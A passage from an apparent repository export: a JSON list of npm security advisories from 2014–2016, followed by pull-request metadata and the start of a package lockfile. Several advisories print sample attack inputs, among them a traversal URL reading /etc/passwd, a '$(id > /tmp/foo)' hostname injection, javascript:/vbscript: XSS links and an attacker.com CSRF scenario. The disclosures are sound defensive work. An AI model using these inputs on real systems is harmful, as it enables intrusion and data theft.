crafted Javascript file to have altered functionality after minification. This bug was [demonstrated](https://zyan.scripts.mit.edu/blog/backdooring-js/) by [Yan](https://twitter.com/bcrypt) to allow potentially malicious code to be hidden within secure code, activated by minification.\n\n\n### Details:\n\nIn Boolean algebra, DeMorgan's laws describe the relationships between conjunctions ( && ), disjunctions ( || ) and negations ( ! ).\nIn Javascript form, they state that:\n !(a && b) === (!a) || (!b)\n !(a || b) === (!a) && (!b)\n\nThe law does not hold true when one of the values is not a boolean however.\n\nVulnerable versions of UglifyJS do not account for this restriction, and erroneously apply the laws to a statement if it can be reduced in length by it.\n\nConsider this authentication function:\n\n```\nfunction isTokenValid(user) {\n var timeLeft =\n !!config && // config object exists\n !!user.token && // user object has a token\n !user.token.invalidated && // token is not explicitly invalidated\n !config.uninitialized && // config is initialized\n !config.ignoreTimestamps && // don't ignore timestamps\n getTimeLeft(user.token.expiry); // > 0 if expiration is in the future\n\n // The token must not be expired\n return timeLeft > 0;\n}\n\nfunction getTimeLeft(expiry) {\n return expiry - getSystemTime();\n}\n```\nWhen minified with a vulnerable version of UglifyJS, it will produce the following insecure output, where a token will never expire:\n\n( Formatted for readability )\n\n```\nfunction isTokenValid(user) {\n var timeLeft = !( // negation\n !config // config object does not exist\n || !user.token // user object does not have a token\n || user.token.invalidated // token is explicitly invalidated\n || config.uninitialized // config isn't initialized\n || config.ignoreTimestamps // ignore timestamps\n || !getTimeLeft(user.token.expiry) // > 0 if expiration is in the future\n );\n return timeLeft > 0\n}\n\nfunction getTimeLeft(expiry) {\n return expiry - getSystemTime()\n}\n```","recommendation":"Upgrade UglifyJS to version >= 2.4.24.","references":"- https://zyan.scripts.mit.edu/blog/backdooring-js/\n- https://github.com/mishoo/UglifyJS2/issues/751","legacy_slug":"uglifyjs_incorrectly_handles_non-boolean_comparisons","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L","cvss_score":8.3},{"id":10,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-20T16:14:03+00:00","title":"Directory Traversal","author":"Vikram Chaitanya","module_name":"geddy","publish_date":"2015-07-27T23:33:48+00:00","cves":["CVE-2015-5688"],"vulnerable_versions":"<13.0.8","patched_versions":">=13.0.8","slug":"geddy_directory-traversal","overview":"Geddy static file serving allows directory traversal with a URI encoded path.\n\n### Example\n```\nhttp://localhost:4000/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd\n\ngeddy is serving the output as it doesn't match the routes and it's a static file\n```","recommendation":"Update to version >= 13.0.8","references":"- https://github.com/geddy/geddy/issues/697\n- https://github.com/geddy/geddy/pull/699","legacy_slug":"geddy-directory-traversal","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":15,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T17:33:51+00:00","title":"CSRF Vulnerability","author":"Ben Toews of GitHub","module_name":"jquery-ujs","publish_date":"2015-06-24T09:00:00+00:00","cves":["CVE-2015-1840"],"vulnerable_versions":"<= 1.0.3","patched_versions":">= 1.0.4","slug":"jquery-ujs_csrf-vulnerability","overview":"This description pulled from the rubyonrails-security post.\n\nReported to NodeSecurity Project by Reed Loden.\n\nCSRF Vulnerability in jquery-ujs and jquery-rails\n\nThere is an vulnerability in jquery-ujs and jquery-rails that can be used to\nbypass CSP protections and allows attackers to send CSRF tokens to attacker domains.\n\nIn the scenario where an attacker might be able to control the href attribute of an anchor tag or\nthe action attribute of a form tag that will trigger a POST action, the attacker can set the\nhref or action to \" https://attacker.com\" (note the leading space) that will be passed to JQuery,\nwho will see this as a same origin request, and send the user's CSRF token to the attacker domain.","recommendation":"Upgrade to the latest version","references":"- hackerone.com: https://hackerone.com/reports/49935\n- npm: https://www.npmjs.com/package/jquery-ujs\n- rubyonrails-security: https://groups.google.com/forum/#!msg/rubyonrails-security/XIZPbobuwaY/fqnzzpuOlA4J\n- github: https://github.com/rails/jquery-ujs","legacy_slug":"jquery_ujs_csrf","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":31,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-21T00:12:09+00:00","title":"Regular Expression Denial of Service","author":"Adam Baldwin","module_name":"semver","publish_date":"2015-04-04T02:00:00+00:00","cves":["CVE-2015-8855"],"vulnerable_versions":"<4.3.2","patched_versions":">=4.3.2","slug":"semver_regular-expression-denial-of-service","overview":"semver is vulnerable to regular expression denial of service ([ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS)) when extremely long version strings are parsed.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]","recommendation":"Update to a version 4.3.2 or greater","references":"- https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS\n- https://github.com/npm/npm/releases/tag/v2.7.5","legacy_slug":"semver_redos","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","cvss_score":5.3},{"id":17,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T17:39:15+00:00","title":"Verification Bypass","author":"Tim McLean","module_name":"jsonwebtoken","publish_date":"2015-04-01T02:00:00+00:00","cves":[],"vulnerable_versions":"<4.2.2","patched_versions":">=4.2.2","slug":"jsonwebtoken_verification-bypass","overview":"It is possible for an attacker to bypass verification when \"a token digitally signed with an asymetric key (RS/ES family) of algorithms but instead the attacker send a token digitally signed with a symmetric algorithm (HS* family)\" [1]","recommendation":"Update to a version 4.2.2 or greater","references":"- [1] https://github.com/auth0/node-jsonwebtoken/commit/1bb584bc382295eeb7ee8c4452a673a77a68b687\n- https://www.timmclean.net/2015/02/25/jwt-alg-none.html\n- https://auth0.com/blog/2015/03/31/critical-vulnerabilities-in-json-web-token-libraries/","legacy_slug":"jsonwebtoken_verification_bypass","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cvss_score":7.5},{"id":34,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T17:51:25+00:00","title":"Cross-Site Scripting","author":"Ivan Kozik","module_name":"serve-index","publish_date":"2015-03-14T05:24:28+00:00","cves":["CVE-2015-8856"],"vulnerable_versions":"<1.6.3","patched_versions":">=1.6.3","slug":"serve-index_cross-site-scripting","overview":"When using serve-index middleware version < 1.6.3 file and directory names are not escaped in HTML output. If remote users can influence file or directory names, this can trigger a persistent XSS attack.","recommendation":"* Update to version 1.6.3 or greater","references":"- https://github.com/expressjs/serve-index/issues/28\n- https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29","legacy_slug":"serve-static-xss","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":23,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-21T00:10:06+00:00","title":"Regular Expression Denial of Service","author":"Barış Soner Uşaklı","module_name":"marked","publish_date":"2015-01-22T17:33:48+00:00","cves":["CVE-2015-8854"],"vulnerable_versions":"<=0.3.3","patched_versions":">=0.3.4","slug":"marked_regular-expression-denial-of-service","overview":"Marked 0.3.3 and earlier is vulnerable to regular expression denial of service (ReDoS) when certain types of input are passed in to be parsed.\n\n\"The Regular expression Denial of Service (ReDoS) is a Denial of Service attack, that exploits the fact that most Regular Expression implementations may reach extreme situations that cause them to work very slowly (exponentially related to input size). An attacker can then cause a program using a Regular Expression to enter these extreme situations and then hang for a very long time.\" [1]\n\nMarked's catastrophic backtracking issue for the `em` inline rule has now been patched in 0.3.4.","recommendation":"Update to marked v0.3.4 or later.","references":"- [1] https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS\n- https://github.com/chjj/marked/issues/497","legacy_slug":"marked_redos","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":24,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T17:56:14+00:00","title":"VBScript Content Injection","author":"Xiao Long","module_name":"marked","publish_date":"2015-01-22T17:33:48+00:00","cves":["CVE-2015-1370"],"vulnerable_versions":"<=0.3.2","patched_versions":">=0.3.3","slug":"marked_vbscript-content-injection","overview":"Marked 0.3.2 and earlier is vulnerable to content injection even when `sanitize: true` is enabled.\n\n`[xss link](vbscript:alert(1))`\n\nwill get a link\n\n`<a href=\"vbscript:alert(1)\">xss link</a>`\n\nthis script does not work in IE 11 edge mode, but works in IE 10 compatibility view.","recommendation":"Update to version 0.3.3 or greater.","references":"- https://github.com/chjj/marked/issues/492","legacy_slug":"marked_vbscript_injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":40,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:01:54+00:00","title":"Command Injection","author":"CodingTwinky","module_name":"ungit","publish_date":"2015-01-22T17:33:48+00:00","cves":["CVE-2015-4130"],"vulnerable_versions":"<=0.8.4","patched_versions":">=0.9.0","slug":"ungit_command-injection","overview":"Due to the use of `child_process.exec` when executing git commands, ungit allows for commands to be injection from user input fields that end up in an executed git command.","recommendation":"Update to the version >=0.9.0","references":"- https://github.com/FredrikNoren/ungit/issues/486","legacy_slug":"ungit-command-injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":33,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:02:59+00:00","title":"SQL Injection","author":"Levan Basharuli","module_name":"sequelize","publish_date":"2015-01-19T06:00:00+00:00","cves":["CVE-2015-1369"],"vulnerable_versions":"<=2.0.0-rc7","patched_versions":">=2.0.0-rc8","slug":"sequelize_sql-injection","overview":"SQL Injection is possible in an application using the npm module sequelize if untrusted user input is passed into the order parameter.\n\n\nExample:\n```\nTest.findAndCountAll({\nwhere: { id :1 },\norder : [['id', 'UNTRUSTED USER INPUT']]\n})\n```","recommendation":"Update to version 2.0.0-rc8 or greater.","references":"- https://github.com/sequelize/sequelize/issues/2906","legacy_slug":"sequelize-sql-injection-order","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":35,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:08:45+00:00","title":"Open Redirect","author":"Pierre-Élie Fauché","module_name":"serve-static","publish_date":"2015-01-13T22:50:48+00:00","cves":["CVE-2015-1164"],"vulnerable_versions":"<1.6.5 || >=1.7.0 <1.7.2","patched_versions":"~1.6.5 || >=1.7.2","slug":"serve-static_open-redirect","overview":"When using serve-static middleware version < 1.7.2 and it's configured to mount at the root it creates an open redirect on the site.\n\nFor example:\nIf a user visits `http://example.com//www.google.com/%2e%2e` they will be redirected to `//www.google.com/%2e%2e`, which some browsers interpret as `http://www.google.com/%2e%2e`.","recommendation":"* Update to version 1.7.2 or greater (or 1.6.5 if sticking to the 1.6.x line).\n * Disable redirects if not using the feature with 'redirect: false' option and cannot upgrade.","references":"- https://github.com/expressjs/serve-static/issues/26\n- https://www.owasp.org/index.php/Open_redirect","legacy_slug":"serve-static-open-redirect","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","cvss_score":5.3},{"id":14,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:17:13+00:00","title":"Hidden Directories Always Served","author":"Gil Pedersen","module_name":"inert","publish_date":"2014-12-16T03:13:48+00:00","cves":[],"vulnerable_versions":"<1.1.1","patched_versions":">=1.1.1","slug":"inert_hidden-directories-always-served","overview":"The inert directory handler always allows files in hidden directories to be served, even when `showHidden` is false.","recommendation":"Update to version >= 1.1.1.","references":"- https://github.com/hapijs/inert/pull/15\n- https://github.com/hapijs/inert/commit/e8f99f94da4cb08e8032eda984761c3f111e3e82","legacy_slug":"inert_hidden_directories_always_served","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":26,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:26:06+00:00","title":"Validation Bypass","author":"Martin Angelov","module_name":"paypal-ipn","publish_date":"2014-12-03T13:00:00+00:00","cves":[],"vulnerable_versions":"<3.0.0","patched_versions":">=3.0.0","slug":"paypal-ipn_validation-bypass","overview":"paypal-ipn uses the `test_ipn` parameter (which is set by the PayPal IPN simulator) to determine if it should use the production PayPal site or the sandbox.\n\n\"With a bit of time, an attacker could craft a request using the simulator that would fool any application which does not explicitly check for test_ipn in production.\" [1]","recommendation":"- Upgrade to version 3.0.0 or greater.","references":"- [1] https://github.com/andzdroid/paypal-ipn/issues/11","legacy_slug":"paypal-ipn-validation-bypass","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":9,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-20T16:23:46+00:00","title":"Directory Traversal","author":"Adam Baldwin","module_name":"fancy-server","publish_date":"2014-11-15T04:00:48+00:00","cves":[],"vulnerable_versions":"<0.1.4","patched_versions":">=0.1.4","slug":"fancy-server_directory-traversal","overview":"Versions less than 0.1.4 of the static file server module fancy-server are vulnerable to directory traversal. An attacker can provide input such as `../` to read files outside of the served directory.","recommendation":"Upgrade to version 0.1.4 or greater.","references":"- http://en.wikipedia.org/wiki/Directory_traversal_attack","legacy_slug":"fancy-server-directory-traversal","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":25,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-20T16:24:31+00:00","title":"Directory Traversal","author":"Riku Keski-Keturi","module_name":"nhouston","publish_date":"2014-11-14T09:30:48+00:00","cves":["CVE-2014-8883"],"vulnerable_versions":"<=99.999.99999","patched_versions":"<0.0.0","slug":"nhouston_directory-traversal","overview":"All versions of the static file server module nhouston are vulnerable to directory traversal. An attacker can provide input such as `../` to read files outside of the served directory.","recommendation":"It is recommended that a different module be used, as we have been unable to reacher the maintainer of this module. We will continue to reach out to them, and if an update becomes available that fixes the issue, we will update this advisory accordingly.","references":"- http://en.wikipedia.org/wiki/Directory_traversal_attack","legacy_slug":"nhouston-directory-traversal","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","cvss_score":5.3},{"id":30,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:43:18+00:00","title":"Content Injection","author":"Adam Baldwin","module_name":"remarkable","publish_date":"2014-11-13T20:33:48+00:00","cves":[],"vulnerable_versions":"<1.4.1","patched_versions":">=1.4.1","slug":"remarkable_content-injection","overview":"Certain input when passed into remarkable will bypass the bad prototcol check that disallows the javascript: scheme allowing for javascript: url's to be injected into the rendered content.\n\n### Example\n\n```\n[link](<javascript:alert(1)>)\n```\nThis will be turned into `<a href=\"javascript:alert(1)\">link</a>`\n\nwhere as\n\n```\n[link](javascript:alert(1))\n```\n\nWould be rendered as `[link](javascript:alert(1))` because it's an invalid scheme.","recommendation":"Upgrade to version 1.4.1 or greater","references":"- https://github.com/jonschlinkert/remarkable/issues/97","legacy_slug":"remarkable_content_injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":42,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-20T16:40:14+00:00","title":"Regular Expression Denial of Service","author":"Karl Düüna","module_name":"validator","publish_date":"2014-11-12T19:45:48+00:00","cves":["CVE-2014-8882"],"vulnerable_versions":"<3.22.1","patched_versions":">=3.22.1","slug":"validator_regular-expression-denial-of-service","overview":"The validator module, versions < 3.22.1 are vulnerable to Regular Expression Denial of Service ([ReDoS](http://en.wikipedia.org/wiki/ReDoS)) in the isURL method.","recommendation":"Update to version 3.22.1 or greater.","references":"- [Analysis of Node.js platform web application security (pdf)](http://lab.cs.ttu.ee/dl93)\n- https://github.com/chriso/validator.js/issues/152#issuecomment-48107184\n- http://en.wikipedia.org/wiki/ReDoS","legacy_slug":"validator-isurl-denial-of-service","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":6,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T18:59:12+00:00","title":"Command Injection","author":"Steve Kemp","module_name":"dns-sync","publish_date":"2014-11-12T03:33:48+00:00","cves":[],"vulnerable_versions":"<0.1.1","patched_versions":">=0.1.1","slug":"dns-sync_command-injection","overview":"The dns-sync library for node.js allows resolving hostnames in a synchronous fashion\n\nAll versions of dns-sync prior to the release 0.1.1 were vulnerable to arbitrary command execution via maliciously formed hostnames.\n\nFor example:\n\n var dnsSync = require('dns-sync');\n console.log(dnsSync.resolve('$(id > /tmp/foo)'));\n\nThis is caused by the hostname being passed through a shell as part of a command execution.","recommendation":"Updated to version 0.1.1 or greater","references":"- [Github Issue](https://github.com/skoranga/node-dns-sync/issues/1)\n- [Commit addressing issue](https://github.com/skoranga/node-dns-sync/commit/d9abaae384b198db1095735ad9c1c73d7b890a0d)","legacy_slug":"dns-sync-command-injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":43,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:02:23+00:00","title":"XSS Filter Bypass via Encoded URL","author":"taku0","module_name":"validator","publish_date":"2014-10-27T17:33:48+00:00","cves":["CVE-2014-9772"],"vulnerable_versions":"<2.0.0","patched_versions":">=2.0.0","slug":"validator_xss-filter-bypass-via-encoded-url","overview":"The validator module for Node.js contains functionality meant to filter potential XSS attacks (a filter called xss). A method of\nbypassing the filter via an encoded URL has been publicly disclosed. In general, because the function’s filtering is blacklist-based it is likely that other bypasses will be discovered in the future. Developers are encouraged not to use the xss filter function in this package.\n\n### Details:\nThe xss() function removes the word \"javascript\" when contained inside an attribute. However, it does not properly handle cases where\ncharacters have been hex-encoded. As a result, it is possible to build an input that bypasses the filter but which the browser will accept as valid JavaScript.\n\nFor example, browsers interpret `<a href=\"javascript:...\">abc</a>` as `<a href=\"javascript:...\">abc</a>`.","recommendation":"Upgrade to the latest version of this library. However, it should be noted that the fix for this vulnerability was to remove the xss filter functionality. Seek another library to provide proper output encoding.","references":"- https://github.com/chriso/validator.js/issues/181\n- Related advisory","legacy_slug":"validator_XSS_Filter_Bypass_via_Encoded_URL","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":1,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:16:19+00:00","title":"Arbitrary JavaScript Execution","author":"Jarda Kotěšovec","module_name":"bassmaster","publish_date":"2014-09-27T16:44:48+00:00","cves":["CVE-2014-7205"],"vulnerable_versions":"<=1.5.1","patched_versions":">=1.5.2","slug":"bassmaster_arbitrary-javascript-execution","overview":"A vulnerability exists in bassmaster <= 1.5.1 that allows for an attacker to provide arbitrary JavaScript that is then executed server side via eval.","recommendation":"Update to bassmaster version 1.5.2 or greater.","references":"- https://www.npmjs.org/package/bassmaster\n- https://github.com/hapijs/bassmaster/commit/b751602d8cb7194ee62a61e085069679525138c4","legacy_slug":"bassmaster_js_injection","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","cvss_score":6.5},{"id":32,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-20T16:40:21+00:00","title":"Directory Traversal","author":"Ilya Kantor","module_name":"send","publish_date":"2014-09-12T15:06:33+00:00","cves":["CVE-2014-6394"],"vulnerable_versions":"< 0.8.4","patched_versions":">= 0.8.4","slug":"send_directory-traversal","overview":"When relying on the root option to restrict file access it may be possible for an application consumer to escape out of the restricted directory and access files in a similarly named directory. For example, `static(_dirname + '/public')` would allow access to `_dirname + '/public-restricted'`.","recommendation":"Upgrade to a version greater than or equal to 0.8.4.","references":"- https://github.com/visionmedia/send/pull/59\n- https://github.com/visionmedia/send/commit/9c6ca9b2c0b880afd3ff91ce0d211213c5fa5f9a","legacy_slug":"send-directory-traversal","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","cvss_score":4.3},{"id":8,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:39:38+00:00","title":"No Charset in Content-Type Header","author":"Paweł Hałdrzyński","module_name":"express","publish_date":"2014-09-12T14:46:45+00:00","cves":["CVE-2014-6393"],"vulnerable_versions":"<3.11 || >= 4 <4.5","patched_versions":">=3.11 <4 || >=4.5","slug":"express_no-charset-in-content-type-header","overview":"Vulnerable versions of express do not specify a charset field in the content-type header while displaying 400 level response messages. The lack of enforcing user's browser to set correct charset, could be leveraged by an attacker to perform a cross-site scripting attack, using non-standard encodings, like UTF-7.","recommendation":"Update express to a patched version.","references":null,"legacy_slug":"express-no-charset-in-content-type-header","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N","cvss_score":5.4},{"id":28,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:44:22+00:00","title":"Denial-of-Service Extended Event Loop Blocking","author":"Tom Steele","module_name":"qs","publish_date":"2014-08-06T17:10:23+00:00","cves":[],"vulnerable_versions":"<1.0.0","patched_versions":">= 1.x","slug":"qs_denial-of-service-extended-event-loop-blocking","overview":"The qs module does not have an option or default for specifying object depth and when parsing a string representing a deeply nested object will block the event loop for long periods of time. An attacker could leverage this to cause a temporary denial-of-service condition, for example, in a web application, other requests would not be processed while this blocking is occurring.","recommendation":"Update qs to version 1.0.0 or greater","references":null,"legacy_slug":"qs_dos_extended_event_loop_blocking","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H","cvss_score":6.5},{"id":29,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:48:57+00:00","title":"Denial-of-Service Memory Exhaustion","author":"Dustin Shiver","module_name":"qs","publish_date":"2014-08-06T17:10:22+00:00","cves":["CVE-2014-7191"],"vulnerable_versions":"<1.0.0","patched_versions":">= 1.x","slug":"qs_denial-of-service-memory-exhaustion","overview":"The qs module has the ability to create sparse arrays during parsing. By specifying a high index it is possible to create a large array that will eventually take up all the allocated memory of the running process, resulting in a crash.","recommendation":"Update qs to version 1.0.0 or greater","references":"- https://github.com/visionmedia/node-querystring/issues/104","legacy_slug":"qs_dos_memory_exhaustion","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cvss_score":7.5},{"id":4,"created_at":"2015-10-17T19:41:46.382+00:00","updated_at":"2016-04-28T19:56:42+00:00","title":"CORS Token Disclosure","author":"Marcus Stong","module_name":"crumb","publish_date":"2014-08-01T16:40:57+00:00","cves":[],"vulnerable_versions":"<3.0.0","patched_versions":">=3.0.0","slug":"crumb_cors-token-disclosure","overview":"When CORS is enabled on a hapi route handler, it is possible to set a crumb token for a different domain. An attacker would need to have an application consumer visit a site they control, request a route supporting CORS, and then retrieve the token. With this token, they could possibly make requests to non CORS routes as this user.\n\nA configuration and scenario where this would occur is unlikely, as most configurations will set CORS globally (where crumb is not used), or not at all.","recommendation":"Update to a version 3.0.0 or greater.","references":"- https://github.com/spumko/crumb/commit/5e6d4f5c81677fe9e362837ffd4a02394303db3c","legacy_slug":"crumb_cors_token_disclosure","allowed_scopes":["public","admin","early"],"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L","cvss_score":5.4}]}
+\ No newline at end of file
diff --git a/pulls/5.json b/pulls/5.json
@@ -0,0 +1,18 @@
+{
+ "number": 5,
+ "title": "Update checks",
+ "state": "merged",
+ "diff_file": "5.diff",
+ "author": "MTRNord",
+ "created_at": "2016-09-02T11:59:01Z",
+ "closed_at": "2016-09-02T11:59:06Z",
+ "merged_at": "2016-09-02T11:59:06Z",
+ "base_ref": "master",
+ "head_ref": "develop",
+ "labels": [],
+ "assignees": [],
+ "requested_reviewers": [],
+ "body": "",
+ "comments": [],
+ "review_comments": []
+}
diff --git a/pulls/5.md b/pulls/5.md
@@ -0,0 +1,13 @@
+# PR #5 Update checks
+
+- **Status:** merged
+- **Author:** @MTRNord
+- **Created:** 2016-09-02T11:59:01Z
+- **Branch:** develop → master
+- **Merged:** 2016-09-02T11:59:06Z
+- **Diff:** [5.diff](./5.diff)
+
+---
+
+_No description._
+
diff --git a/pulls/6.diff b/pulls/6.diff
@@ -0,0 +1,1424 @@
+diff --git a/npm-shrinkwrap.json b/npm-shrinkwrap.json
+new file mode 100644
+index 0000000..92600b1
+--- /dev/null
++++ b/npm-shrinkwrap.json
+@@ -0,0 +1,1418 @@
++{
++ "name": "ls_vertretungsplan_desktop",
++ "version": "0.0.2",
++ "dependencies": {
++ "abbrev": {
++ "version": "1.0.9",
++ "from": "abbrev@>=1.0.0 <2.0.0",
++ "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.0.9.tgz"
++ },
++ "ansi-regex": {
++ "version": "2.0.0",
++ "from": "ansi-regex@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.0.0.tgz"
++ },
++ "ansi-styles": {
++ "version": "2.2.1",
++ "from": "ansi-styles@>=2.2.1 <3.0.0",
++ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz"
++ },
++ "array-find-index": {
++ "version": "1.0.1",
++ "from": "array-find-index@>=1.0.1 <2.0.0",
++ "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.1.tgz"
++ },
++ "asar": {
++ "version": "0.11.0",
++ "from": "asar@>=0.11.0 <0.12.0",
++ "resolved": "https://registry.npmjs.org/asar/-/asar-0.11.0.tgz"
++ },
++ "asn1": {
++ "version": "0.2.3",
++ "from": "asn1@>=0.2.3 <0.3.0",
++ "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.3.tgz"
++ },
++ "assert-plus": {
++ "version": "0.2.0",
++ "from": "assert-plus@>=0.2.0 <0.3.0",
++ "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-0.2.0.tgz"
++ },
++ "async": {
++ "version": "2.0.1",
++ "from": "async@>=2.0.1 <3.0.0",
++ "resolved": "https://registry.npmjs.org/async/-/async-2.0.1.tgz"
++ },
++ "aws-sign2": {
++ "version": "0.6.0",
++ "from": "aws-sign2@>=0.6.0 <0.7.0",
++ "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.6.0.tgz"
++ },
++ "aws4": {
++ "version": "1.4.1",
++ "from": "aws4@>=1.2.1 <2.0.0",
++ "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.4.1.tgz"
++ },
++ "balanced-match": {
++ "version": "0.4.2",
++ "from": "balanced-match@>=0.4.1 <0.5.0",
++ "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.4.2.tgz"
++ },
++ "binary": {
++ "version": "0.3.0",
++ "from": "binary@>=0.3.0 <0.4.0",
++ "resolved": "https://registry.npmjs.org/binary/-/binary-0.3.0.tgz"
++ },
++ "bl": {
++ "version": "1.1.2",
++ "from": "bl@>=1.1.2 <1.2.0",
++ "resolved": "https://registry.npmjs.org/bl/-/bl-1.1.2.tgz",
++ "dependencies": {
++ "isarray": {
++ "version": "1.0.0",
++ "from": "isarray@>=1.0.0 <1.1.0",
++ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz"
++ },
++ "readable-stream": {
++ "version": "2.0.6",
++ "from": "readable-stream@>=2.0.5 <2.1.0",
++ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.0.6.tgz"
++ }
++ }
++ },
++ "bluebird": {
++ "version": "3.4.3",
++ "from": "bluebird@>=3.3.4 <4.0.0",
++ "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.4.3.tgz"
++ },
++ "boom": {
++ "version": "2.10.1",
++ "from": "boom@>=2.0.0 <3.0.0",
++ "resolved": "https://registry.npmjs.org/boom/-/boom-2.10.1.tgz"
++ },
++ "brace-expansion": {
++ "version": "1.1.6",
